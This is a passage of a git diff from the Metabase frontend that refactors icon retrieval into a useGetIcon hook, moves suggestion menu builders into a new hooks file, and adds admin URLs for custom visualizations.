const question = useSelector(getQuestionWithoutComposing);
+ const getJoinedTables = useGetJoinedTablesWithIcons();
const joinedTablesWithIcons: QuestionSource[] = useMemo(
- () => (question ? getJoinedTablesWithIcons(question) : []),
- [question],
+ () => (question ? getJoinedTables(question) : []),
+ [question, getJoinedTables],
);
const { filtered, isExpanded, toggle } = useExpandableList(
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.ts b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.ts
index 9da5968dd1e..f50ddb96bbd 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.ts
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.ts
@@ -1,4 +1,9 @@
-import { useState } from "react";
+import { useCallback, useState } from "react";
+
+import { useGetIcon } from "metabase/hooks/use-icon";
+import { getUrl } from "metabase/querying/notebook/components/NotebookDataPicker/utils";
+import * as Lib from "metabase-lib";
+import type Question from "metabase-lib/v1/Question";
export const DEFAULT_LIST_LIMIT = 5;
@@ -8,3 +13,34 @@ export const useExpandableList = (arr: any[], limit = DEFAULT_LIST_LIMIT) => {
const filtered = isExpanded ? arr : arr.slice(0, limit);
return { isExpanded, toggle, filtered };
};
+
+export const useGetJoinedTablesWithIcons = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (question: Question) => {
+ const query = question?.query();
+ const stageIndexes = Lib.stageIndexes(query);
+
+ const joinedTables = stageIndexes.flatMap((stageIndex) => {
+ const joins = Lib.joins(query, stageIndex);
+
+ return joins.flatMap((join) => {
+ const thing = Lib.joinedThing(query, join);
+ const href = getUrl({ query, table: thing, stageIndex });
+ if (!href) {
+ return [];
+ }
+ const { displayName } = Lib.displayInfo(query, stageIndex, thing);
+ return [{ name: displayName, href }];
+ });
+ });
+
+ return joinedTables.map((source) => ({
+ ...source,
+ iconProps: getIcon({ model: "table" }),
+ }));
+ },
+ [getIcon],
+ );
+};
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.unit.spec.ts b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.unit.spec.ts
similarity index 67%
rename from frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.unit.spec.ts
rename to frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.unit.spec.ts
index b839dcf98cc..69ba5c62e68 100644
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.unit.spec.ts
+++ b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/hooks.unit.spec.ts
@@ -1,4 +1,7 @@
+import { renderHook } from "@testing-library/react";
+
import { createMockMetadata } from "__support__/metadata";
+import type { IconModel } from "metabase/common/utils/icon";
import Question from "metabase-lib/v1/Question";
import { createMockCard } from "metabase-types/api/mocks";
import {
@@ -6,7 +9,17 @@ import {
createSampleDatabase,
} from "metabase-types/api/mocks/presets";
-import { getJoinedTablesWithIcons } from "./utils";
+import { useGetJoinedTablesWithIcons } from "./hooks";
+
+jest.mock("metabase/hooks/use-icon", () => {
+ const { modelIconMap } = jest.requireActual("metabase/common/utils/icon");
+ return {
+ useGetIcon: () =>
+ jest.fn((item: { model: IconModel }) => ({
+ name: modelIconMap[item.model] ?? "unknown",
+ })),
+ };
+});
const joinedCard = createMockCard({
name: "Joined Card",
@@ -58,10 +71,11 @@ const questionWithJoins = new Question(cardWithJoins, metadata);
const questionWithoutJoins = new Question(cardWithoutJoins, metadata);
-describe("QuestionInfoSidebar component utils", () => {
- describe("getJoinedTablesWithIcons", () => {
+describe("QuestionInfoSidebar component hooks", () => {
+ describe("useGetJoinedTablesWithIcons", () => {
it("retrieves one joined table", () => {
- const actual = getJoinedTablesWithIcons(questionWithJoins);
+ const { result } = renderHook(() => useGetJoinedTablesWithIcons());
+ const actual = result.current(questionWithJoins);
expect(actual).toEqual([
{
name: "Joined Card",
@@ -72,7 +86,8 @@ describe("QuestionInfoSidebar component utils", () => {
});
it("returns [] if there are no joined tables", () => {
- const actual = getJoinedTablesWithIcons(questionWithoutJoins);
+ const { result } = renderHook(() => useGetJoinedTablesWithIcons());
+ const actual = result.current(questionWithoutJoins);
expect(actual).toEqual([]);
});
});
diff --git a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.tsx b/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.tsx
deleted file mode 100644
index f16a3330570..00000000000
--- a/frontend/src/metabase/query_builder/components/view/sidebars/QuestionInfoSidebar/components/utils.tsx
+++ /dev/null
@@ -1,27 +0,0 @@
-import { getIcon } from "metabase/common/utils/icon";
-import { getUrl } from "metabase/querying/notebook/components/NotebookDataPicker/utils";
-import * as Lib from "metabase-lib";
-import type Question from "metabase-lib/v1/Question";
-
-export const getJoinedTablesWithIcons = (question: Question) => {
- const query = question?.query();
-
- const stageIndexes = Lib.stageIndexes(query);
-
- const joinedTables = stageIndexes.flatMap((stageIndex) => {
- const joins = Lib.joins(query, stageIndex);
-
- const joinedThings = joins.map((join) => {
- const thing = Lib.joinedThing(query, join);
- const url = getUrl({ query, table: thing, stageIndex }) as string;
- const { displayName } = Lib.displayInfo(query, stageIndex, thing);
- return { name: displayName, href: url };
- });
- return joinedThings;
- });
-
- return joinedTables.map((source) => ({
- ...source,
- iconProps: getIcon({ model: "table" }),
- }));
-};
diff --git a/frontend/src/metabase/questions/components/CollectionBadge.tsx b/frontend/src/metabase/questions/components/CollectionBadge.tsx
index 9d553349fc1..8f7dd8a167c 100644
--- a/frontend/src/metabase/questions/components/CollectionBadge.tsx
+++ b/frontend/src/metabase/questions/components/CollectionBadge.tsx
@@ -1,8 +1,8 @@
import type { ComponentType, PropsWithChildren } from "react";
import { Badge } from "metabase/common/components/Badge";
-import { getIcon } from "metabase/common/utils/icon";
import { Collections } from "metabase/entities/collections";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { useTranslateContent } from "metabase/i18n/hooks";
import { PLUGIN_COLLECTIONS } from "metabase/plugins";
import type { State } from "metabase/redux/store";
@@ -36,6 +36,7 @@ const CollectionBadgeInner = ({
onClick,
}: CollectionBadgeProps) => {
const tc = useTranslateContent();
+ const getIcon = useGetIcon();
if (!collection) {
return null;
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedLoadingState.tsx b/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedLoadingState.tsx
new file mode 100644
index 00000000000..63c9057f3d8
--- /dev/null
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedLoadingState.tsx
@@ -0,0 +1,15 @@
+import { Box, Loader, Stack } from "metabase/ui";
+
+import styles from "./CardEmbedNode.module.css";
+
+export const CardEmbedLoadingState = () => {
+ return (
+ <Stack align="center" justify="center" h="100%">
+ <Box className={styles.questionResults}>
+ <Box className={styles.loadingContainer}>
+ <Loader />
+ </Box>
+ </Box>
+ </Stack>
+ );
+};
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedNode.tsx b/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedNode.tsx
index 9a4dd5656bd..4da3842ae94 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedNode.tsx
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedNode.tsx
@@ -46,7 +46,6 @@ import {
Ellipsified,
Flex,
Icon,
- Loader,
Menu,
Text,
TextInput,
@@ -70,6 +69,7 @@ import CS from "../extensions.module.css";
import { NativeQueryModal } from "../shared/NativeQueryModal";
import { useDndHelpers } from "../shared/dnd/use-dnd-helpers";
+import { CardEmbedLoadingState } from "./CardEmbedLoadingState";
import { CardEmbedMenuDropdown } from "./CardEmbedMenuDropdown";
import styles from "./CardEmbedNode.module.css";
import { ExternalDocumentCardMenu } from "./ExternalDocumentCardMenu";
@@ -428,17 +428,14 @@ export const CardEmbedComponent = memo(
<Box className={styles.questionHeader}>
<Flex align="center" justify="space-between" gap="0.5rem">
<Box className={styles.titleContainer}>
- <Text size="md" color="text-primary" fw={700}>
+ <Text size="md" c="text-primary" fw={700}>
{t`Loading question...`}
</Text>
</Box>
</Flex>
</Box>
- <Box className={styles.questionResults}>
- <Box className={styles.loadingContainer}>
- <Loader />
- </Box>
- </Box>
+
+ <CardEmbedLoadingState />
</Box>
</NodeViewWrapper>
);
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/MetabotMention/MetabotSuggestion.tsx b/frontend/src/metabase/rich_text_editing/tiptap/extensions/MetabotMention/MetabotSuggestion.tsx
index c32092b0280..b7c4ce7afde 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/MetabotMention/MetabotSuggestion.tsx
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/MetabotMention/MetabotSuggestion.tsx
@@ -22,7 +22,7 @@ import { useMetabotName } from "metabase/metabot/hooks";
import { Box, Group, Loader, Text } from "metabase/ui";
import type { Database, SearchResult } from "metabase-types/api";
-import { buildDbMenuItems } from "../shared/suggestionUtils";
+import { useBuildDbMenuItems } from "../shared/suggestionHooks";
interface MentionSuggestionProps {
items: SearchResult[];
@@ -52,6 +52,7 @@ const MetabotMentionSuggestionComponent = forwardRef<
const [selectedIndex, setSelectedIndex] = useState(0);
const { data: dbsResponse, isLoading } = useListDatabasesQuery();
const metabotName = useMetabotName();
+ const buildDbMenuItems = useBuildDbMenuItems();
const handleDbSelect = useCallback(
(item: Database) => {
@@ -89,7 +90,7 @@ const MetabotMentionSuggestionComponent = forwardRef<
}
return items;
- }, [dbsResponse?.data, handleDbSelect, query]);
+ }, [dbsResponse?.data, handleDbSelect, query, buildDbMenuItems]);
const totalItems = menuItems.length;
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/SmartLink/SmartLinkNode.tsx b/frontend/src/metabase/rich_text_editing/tiptap/extensions/SmartLink/SmartLinkNode.tsx
index da519999901..b78602aee1a 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/SmartLink/SmartLinkNode.tsx
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/SmartLink/SmartLinkNode.tsx
@@ -20,13 +20,11 @@ import {
useGetTransformQuery,
useListMentionsQuery,
} from "metabase/api";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { Link } from "metabase/common/components/Link";
-import {
- type IconModel,
- type ObjectWithModel,
- getIcon,
-} from "metabase/common/utils/icon";
+import type { IconModel, ObjectWithModel } from "metabase/common/utils/icon";
import { updateMentionsCache } from "metabase/documents/documents.slice";
+import { useGetIcon } from "metabase/hooks/use-icon";
import {
METABSE_PROTOCOL_MD_LINK,
parseMetabaseProtocolMarkdownLink,
@@ -441,6 +439,7 @@ export const useEntityData = (
export const SmartLinkComponent = memo(
({ node, updateAttributes }: NodeViewProps) => {
+ const getIcon = useGetIcon();
const { entityId, model, label } = node.attrs;
const {
@@ -532,7 +531,7 @@ export const SmartLinkComponent = memo(
className={styles.smartLink}
>
<span className={styles.smartLinkInner}>
- <Icon name={iconData.name} className={styles.icon} />
+ <EntityIcon {...iconData} className={styles.icon} />
{getName(entity)}
</span>
</Link>
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionHooks.ts b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionHooks.ts
new file mode 100644
index 00000000000..040e3260989
--- /dev/null
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionHooks.ts
@@ -0,0 +1,104 @@
+import { useCallback } from "react";
+
+import { getTranslatedEntityName } from "metabase/common/utils/model-names";
+import type { MenuItem } from "metabase/documents/components/Editor/shared/MenuComponents";
+import { useGetIcon } from "metabase/hooks/use-icon";
+import { modelToUrl } from "metabase/urls/modelToUrl";
+import { getName } from "metabase/utils/name";
+import type { Database, RecentItem, SearchResult } from "metabase-types/api";
+
+import { entityToUrlableModel } from "./suggestionUtils";
+import type { SuggestionModel } from "./types";
+
+export const useBuildSearchMenuItems = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (
+ searchResults: SearchResult[],
+ onSelect: (result: SearchResult) => void,
+ ): MenuItem[] =>
+ searchResults.map((result) => {
+ const iconData = getIcon({
+ model: result.model,
+ display: result.display,
+ });
+ const urlableModel = entityToUrlableModel(result, result.model);
+ const href = modelToUrl(urlableModel);
+ return {
+ icon: iconData.name,
+ iconUrl: iconData.iconUrl,
+ label: result.name,
+ id: result.id,
+ model: result.model,
+ href: href || undefined,
+ action: () => onSelect(result),
+ };
+ }),
+ [getIcon],
+ );
+};
+
+export const useBuildRecentsMenuItems = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (
+ recents: RecentItem[],
+ onSelect: (recent: RecentItem) => void,
+ ): MenuItem[] =>
+ recents.map((recent) => {
+ const iconData = getIcon(recent);
+ const urlableModel = entityToUrlableModel(recent, recent.model);
+ const href = modelToUrl(urlableModel);
+ return {
+ icon: iconData.name,
+ iconUrl: iconData.iconUrl,
+ label: getName(recent),
+ id: recent.id,
+ model: recent.model as SuggestionModel,
+ href: href || undefined,
+ action: () => onSelect(recent),
+ };
+ }),
+ [getIcon],
+ );
+};
+
+export const useBuildDbMenuItems = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (dbs: Database[], onSelect: (db: Database) => void): MenuItem[] =>
+ dbs.map((db) => {
+ const iconData = getIcon({ model: "database" });
+ return {
+ icon: iconData.name,
+ label: db.name,
+ id: db.id,
+ model: "database",
+ action: () => onSelect(db),
+ };
+ }),
+ [getIcon],
+ );
+};
+
+export const useBuildSearchModelMenuItems = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (
+ searchModels: SuggestionModel[],
+ onSelect: (model: SuggestionModel) => void,
+ ): MenuItem[] =>
+ searchModels.map((model) => ({
+ icon: getIcon({ model }).name,
+ label: getTranslatedEntityName(model) || model,
+ model,
+ action: () => onSelect(model),
+ hasSubmenu: true,
+ })),
+ [getIcon],
+ );
+};
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionUtils.ts b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionUtils.ts
index 60fa99cff30..58f7cf70a1d 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionUtils.ts
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/suggestionUtils.ts
@@ -1,17 +1,9 @@
import { match } from "ts-pattern";
-import { getIcon } from "metabase/common/utils/icon";
-import { getTranslatedEntityName } from "metabase/common/utils/model-names";
import type { MenuItem } from "metabase/documents/components/Editor/shared/MenuComponents";
import type { MetabaseProtocolEntityModel } from "metabase/metabot/utils/links";
-import { type UrlableModel, modelToUrl } from "metabase/urls/modelToUrl";
-import { getName } from "metabase/utils/name";
-import type {
- Database,
- MentionableUser,
- RecentItem,
- SearchResult,
-} from "metabase-types/api";
+import type { UrlableModel } from "metabase/urls/modelToUrl";
+import type { MentionableUser, RecentItem } from "metabase-types/api";
import { isObject } from "metabase-types/guards";
import type { SuggestionModel } from "./types";
@@ -19,63 +11,6 @@ import type { SuggestionModel } from "./types";
export const filterRecents = (item: RecentItem, models: SuggestionModel[]) =>
models.includes(item.model);
-export function buildSearchMenuItems(
- searchResults: SearchResult[],
- onSelect: (result: SearchResult) => void,
-): MenuItem[] {
- return searchResults.map((result) => {
- const iconData = getIcon({
- model: result.model,
- display: result.display,
- });
- const urlableModel = entityToUrlableModel(result, result.model);
- const href = modelToUrl(urlableModel);
- return {
- icon: iconData.name,
- label: result.name,
- id: result.id,
- model: result.model,
- href: href || undefined,
- action: () => onSelect(result),
- };
- });
-}
-
-export function buildRecentsMenuItems(
- recents: RecentItem[],
- onSelect: (recent: RecentItem) => void,
-): MenuItem[] {
- return recents.map((recent) => {
- const iconData = getIcon(recent);
- const urlableModel = entityToUrlableModel(recent, recent.model);
- const href = modelToUrl(urlableModel);
- return {
- icon: iconData.name,
- label: getName(recent),
- id: recent.id,
- model: recent.model as SuggestionModel,
- href: href || undefined,
- action: () => onSelect(recent),
- };
- });
-}
-
-export function buildDbMenuItems(
- dbs: Database[],
- onSelect: (db: Database) => void,
-): MenuItem[] {
- return dbs.map((db) => {
- const iconData = getIcon({ model: "database" });
- return {
- icon: iconData.name,
- label: db.name,
- id: db.id,
- model: "database",
- action: () => onSelect(db),
- };
- });
-}
-
export function buildUserMenuItems(
users: MentionableUser[],
onSelect: (user: MentionableUser) => void,
@@ -91,21 +26,6 @@ export function buildUserMenuItems(
});
}
-export function buildSearchModelMenuItems(
- searchModels: SuggestionModel[],
- onSelect: (model: SuggestionModel) => void,
-): MenuItem[] {
- return searchModels.map((model) => {
- return {
- icon: getIcon({ model }).name,
- label: getTranslatedEntityName(model) || model,
- model,
- action: () => onSelect(model),
- hasSubmenu: true,
- };
- });
-}
-
export function entityToUrlableModel<
T extends {
id: string | number;
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySearch.ts b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySearch.ts
index 24874406065..9895df06736 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySearch.ts
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySearch.ts
@@ -22,11 +22,10 @@ import {
USER_SEARCH_LIMIT,
} from "./constants";
import {
- buildRecentsMenuItems,
- buildSearchMenuItems,
- buildUserMenuItems,
- filterRecents,
-} from "./suggestionUtils";
+ useBuildRecentsMenuItems,
+ useBuildSearchMenuItems,
+} from "./suggestionHooks";
+import { buildUserMenuItems, filterRecents } from "./suggestionUtils";
export type EntitySearchOptions = Omit<SearchRequest, "q" | "models" | "limit">;
@@ -57,6 +56,8 @@ export function useEntitySearch({
searchModels = LINK_SEARCH_MODELS,
searchOptions = {},
}: UseEntitySearchOptions): UseEntitySearchResult {
+ const buildSearchMenuItems = useBuildSearchMenuItems();
+ const buildRecentsMenuItems = useBuildRecentsMenuItems();
const { data: recents = [], isLoading: isRecentsLoading } =
useListRecentsQuery(undefined, {
refetchOnMountOrArgChange: 10, // only refetch if the cache is more than 10 seconds stale
@@ -136,6 +137,8 @@ export function useEntitySearch({
onSelectRecent,
onSelectSearchResult,
onSelectUser,
+ buildSearchMenuItems,
+ buildRecentsMenuItems,
]);
return {
diff --git a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySuggestions.ts b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySuggestions.ts
index 3c2409d59cd..6eba2b7d30c 100644
--- a/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySuggestions.ts
+++ b/frontend/src/metabase/rich_text_editing/tiptap/extensions/shared/useEntitySuggestions.ts
@@ -11,11 +11,8 @@ import type {
SearchResult,
} from "metabase-types/api";
-import {
- buildSearchModelMenuItems,
- entityToUrlableModel,
- getBrowseAllItemIndex,
-} from "./suggestionUtils";
+import { useBuildSearchModelMenuItems } from "./suggestionHooks";
+import { entityToUrlableModel, getBrowseAllItemIndex } from "./suggestionUtils";
import type { SuggestionModel, SuggestionPickerModalType } from "./types";
import { type EntitySearchOptions, useEntitySearch } from "./useEntitySearch";
@@ -75,6 +72,7 @@ export function useEntitySuggestions({
}: UseEntitySuggestionsOptions): UseEntitySuggestionsResult {
const [selectedIndex, setSelectedIndex] = useState(0);
const [modal, setModal] = useState<SuggestionPickerModalType>(null);
+ const buildSearchModelMenuItems = useBuildSearchModelMenuItems();
const [selectedSearchModel, setSelectedSearchModel] =
useState<SuggestionModel | null>(
searchModels?.length === 1 ? searchModels[0] : null,
@@ -173,7 +171,12 @@ export function useEntitySuggestions({
filteredSearchModels,
handleSearchModelSelect,
);
- }, [filteredSearchModels, selectedSearchModel, handleSearchModelSelect]);
+ }, [
+ filteredSearchModels,
+ selectedSearchModel,
+ handleSearchModelSelect,
+ buildSearchModelMenuItems,
+ ]);
const hasSearchModels = (searchModels?.length ?? 0) > 0;
const hasMatchingFilteredModels = (filteredSearchModels?.length ?? 0) > 0;
diff --git a/frontend/src/metabase/search/components/SearchResult/components/CollectionIcon.tsx b/frontend/src/metabase/search/components/SearchResult/components/CollectionIcon.tsx
index dfba5023297..586074dc420 100644
--- a/frontend/src/metabase/search/components/SearchResult/components/CollectionIcon.tsx
+++ b/frontend/src/metabase/search/components/SearchResult/components/CollectionIcon.tsx
@@ -1,4 +1,4 @@
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import {
DEFAULT_ICON_SIZE,
LARGE_ICON_SIZE,
@@ -7,7 +7,12 @@ import { Icon } from "metabase/ui";
import type { IconComponentProps } from "./ItemIcon";
-export function CollectionIcon({ item }: { item: IconComponentProps["item"] }) {
+export const CollectionIcon = ({
+ item,
+}: {
+ item: IconComponentProps["item"];
+}) => {
+ const getIcon = useGetIcon();
const icon = getIcon(item);
icon.color = icon.color ? icon.color : "text-tertiary";
@@ -18,4 +23,4 @@ export function CollectionIcon({ item }: { item: IconComponentProps["item"] }) {
size={icon.name === "folder" ? DEFAULT_ICON_SIZE : LARGE_ICON_SIZE}
/>
);
-}
+};
diff --git a/frontend/src/metabase/search/components/SearchResult/components/DefaultIcon.tsx b/frontend/src/metabase/search/components/SearchResult/components/DefaultIcon.tsx
index a72bcfcbfdd..83acd7bfeba 100644
--- a/frontend/src/metabase/search/components/SearchResult/components/DefaultIcon.tsx
+++ b/frontend/src/metabase/search/components/SearchResult/components/DefaultIcon.tsx
@@ -1,11 +1,12 @@
-import { getIcon } from "metabase/common/utils/icon";
-import { Icon } from "metabase/ui";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import type { IconComponentProps } from "./ItemIcon";
import { DEFAULT_ICON_SIZE } from "./constants";
export function DefaultIcon({ item }: { item: IconComponentProps["item"] }) {
+ const getIcon = useGetIcon();
const iconData = getIcon(item);
- return <Icon {...iconData} size={DEFAULT_ICON_SIZE} />;
+ return <EntityIcon {...iconData} size={DEFAULT_ICON_SIZE} />;
}
diff --git a/frontend/src/metabase/static-viz/containers/LegacyStaticChart/LegacyStaticChart.tsx b/frontend/src/metabase/static-viz/containers/LegacyStaticChart/LegacyStaticChart.tsx
index 3c4d4ba6be8..25a118f3efd 100644
--- a/frontend/src/metabase/static-viz/containers/LegacyStaticChart/LegacyStaticChart.tsx
+++ b/frontend/src/metabase/static-viz/containers/LegacyStaticChart/LegacyStaticChart.tsx
@@ -13,7 +13,7 @@ export interface LegacyStaticChartProps {
}
/**
- * @deprecated use StaticChart instead
+ * @deprecated use RenderChart instead
*/
export const LegacyStaticChart = ({
type,
diff --git a/frontend/src/metabase/ui/components/icons/Icon/Icon.tsx b/frontend/src/metabase/ui/components/icons/Icon/Icon.tsx
index b37e5a11302..922f7b0c601 100644
--- a/frontend/src/metabase/ui/components/icons/Icon/Icon.tsx
+++ b/frontend/src/metabase/ui/components/icons/Icon/Icon.tsx
@@ -34,7 +34,7 @@ export type IconProps = Omit<SVGAttributes<SVGSVGElement>, "color"> &
tooltipPosition?: FloatingPosition;
onClick?: (event: MouseEvent<HTMLImageElement | SVGElement>) => void;
className?: string;
- color?: ColorName;
+ color?: ColorName | "inherit";
};
export const Icon = forwardRef<SVGSVGElement, IconProps>(function Icon(
diff --git a/frontend/src/metabase/urls/admin.ts b/frontend/src/metabase/urls/admin.ts
index ada29653a5c..a11e090e2c0 100644
--- a/frontend/src/metabase/urls/admin.ts
+++ b/frontend/src/metabase/urls/admin.ts
@@ -1,5 +1,6 @@
import type {
BaseUser,
+ CustomVizPluginId,
DatabaseId,
FieldId,
SchemaName,
@@ -139,6 +140,22 @@ export function adminLicense() {
return "/admin/settings/license";
}
+export function customViz() {
+ return "/admin/settings/custom-visualizations";
+}
+
+export function customVizAdd() {
+ return `${customViz()}/new`;
+}
+
+export function customVizEdit(id: CustomVizPluginId | undefined) {
+ return `${customViz()}/edit/${id ?? ""}`;
+}
+
+export function customVizDev() {
+ return `${customViz()}/development`;
+}
+
export function adminToolsHelp() {
return "/admin/tools/help";
}
diff --git a/frontend/src/metabase/urls/index.ts b/frontend/src/metabase/urls/index.ts
index f3c38865ff9..0a1ef3b8a19 100644
--- a/frontend/src/metabase/urls/index.ts
+++ b/frontend/src/metabase/urls/index.ts
@@ -1,21 +1,21 @@
export * from "./actions";
export * from "./admin";
export * from "./auth";
-export * from "./data-studio";
export * from "./bookmarks";
export * from "./browse";
export * from "./cards";
export * from "./collections";
export * from "./dashboards";
+export * from "./data-studio";
export * from "./dependencies";
export * from "./documents";
export * from "./indexed-entities";
-export * from "./metrics";
export * from "./metabot";
-export * from "./modelToUrl";
-export * from "./permissions";
+export * from "./metrics";
export * from "./misc";
export * from "./models";
+export * from "./modelToUrl";
+export * from "./permissions";
export * from "./questions";
export * from "./timelines";
export * from "./transforms";
diff --git a/frontend/src/metabase/utils/dashboard_grid.ts b/frontend/src/metabase/utils/dashboard_grid.ts
index 251fe29e132..e126e277010 100644
--- a/frontend/src/metabase/utils/dashboard_grid.ts
+++ b/frontend/src/metabase/utils/dashboard_grid.ts
@@ -1,6 +1,8 @@
// NOTE: If we make changes to the algorithm or default values below we should change
// [the backend version](https://github.com/metabase/metabase/blob/master/src/metabase/dashboards/autoplace.clj).
+import { DEFAULT_CARD_SIZE_JSON } from "cljs/metabase.dashboards.constants";
+
// If you change this, please change `default-grid-width` in
// https://github.com/metabase/metabase/blob/master/src/metabase/dashboards/autoplace.clj
export const GRID_WIDTH = 24;
@@ -18,9 +20,8 @@ export const GRID_COLUMNS = {
mobile: 1,
};
-// If you change this, please change `default-card-size` in
-// https://github.com/metabase/metabase/blob/master/src/metabase/dashboards/autoplace.clj
-export const DEFAULT_CARD_SIZE = { width: 4, height: 4 };
+/** @type {{ width: number, height: number }} */
+export const DEFAULT_CARD_SIZE = DEFAULT_CARD_SIZE_JSON;
export const MIN_ROW_HEIGHT = 40;
diff --git a/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/QuestionChartSettings.tsx b/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/QuestionChartSettings.tsx
index c921c754e1f..4d7db8d0f3a 100644
--- a/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/QuestionChartSettings.tsx
+++ b/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/QuestionChartSettings.tsx
@@ -1,15 +1,10 @@
-import { useMemo } from "react";
-
-import { getSettingsWidgetsForSeries } from "metabase/visualizations/lib/settings/visualization";
-
import { BaseChartSettings } from "../BaseChartSettings";
-import { useChartSettingsState } from "../hooks";
+import { useChartSettingsState, useSettingsWidgets } from "../hooks";
import type { QuestionChartSettingsProps } from "./types";
export const QuestionChartSettings = ({
question,
- widgets: propWidgets,
series,
onChange,
computedSettings,
@@ -19,16 +14,11 @@ export const QuestionChartSettings = ({
const { chartSettings, handleChangeSettings, transformedSeries } =
useChartSettingsState({ series, onChange });
- const widgets = useMemo(
- () =>
- propWidgets ||
- getSettingsWidgetsForSeries(
- transformedSeries,
- handleChangeSettings,
- false,
- ),
- [propWidgets, transformedSeries, handleChangeSettings],
- );
+ const widgets = useSettingsWidgets({
+ series,
+ transformedSeries,
+ handleChangeSettings,
+ });
return (
<BaseChartSettings
diff --git a/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/types.ts b/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/types.ts
index 02b40677311..e31ecd7eacf 100644
--- a/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/types.ts
+++ b/frontend/src/metabase/visualizations/components/ChartSettings/QuestionChartSettings/types.ts
@@ -1,9 +1,5 @@
-import type { Widget } from "metabase/visualizations/types";
-
import type { BaseChartSettingsProps } from "../BaseChartSettings/types";
import type { CommonChartSettingsProps } from "../types";
-export type QuestionChartSettingsProps = {
- widgets?: Widget[];
-} & CommonChartSettingsProps &
+export type QuestionChartSettingsProps = CommonChartSettingsProps &
Pick<BaseChartSettingsProps, "initial" | "computedSettings" | "question">;
diff --git a/frontend/src/metabase/visualizations/components/ChartSettings/hooks.ts b/frontend/src/metabase/visualizations/components/ChartSettings/hooks.ts
index c77dab1522c..99ca84be8e7 100644
--- a/frontend/src/metabase/visualizations/components/ChartSettings/hooks.ts
+++ b/frontend/src/metabase/visualizations/components/ChartSettings/hooks.ts
@@ -1,12 +1,18 @@
import { assocIn } from "icepick";
import { useCallback, useMemo } from "react";
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins/oss/custom-viz";
import {
extractRemappings,
getVisualizationTransformed,
} from "metabase/visualizations";
import { updateSettings } from "metabase/visualizations/lib/settings";
+import { getSettingsWidgetsForSeries } from "metabase/visualizations/lib/settings/visualization";
import type { ComputedVisualizationSettings } from "metabase/visualizations/types";
+import type {
+ SettingsExtra,
+ Widget,
+} from "metabase/visualizations/types/visualization";
import type Question from "metabase-lib/v1/Question";
import type {
RawSeries,
@@ -70,3 +76,42 @@ export const useChartSettingsState = ({
transformedSeries,
};
};
+
+export function useSettingsWidgets({
+ series,
+ transformedSeries,
+ handleChangeSettings,
+ isDashboard = false,
+ extra,
+}: {
+ series: Series;
+ transformedSeries?: RawSeries | TransformedSeries;
+ handleChangeSettings: (settings: VisualizationSettings) => void;
+ isDashboard?: boolean;
+ extra?: SettingsExtra;
+}): Widget[] {
+ const display = series?.[0]?.card?.display;
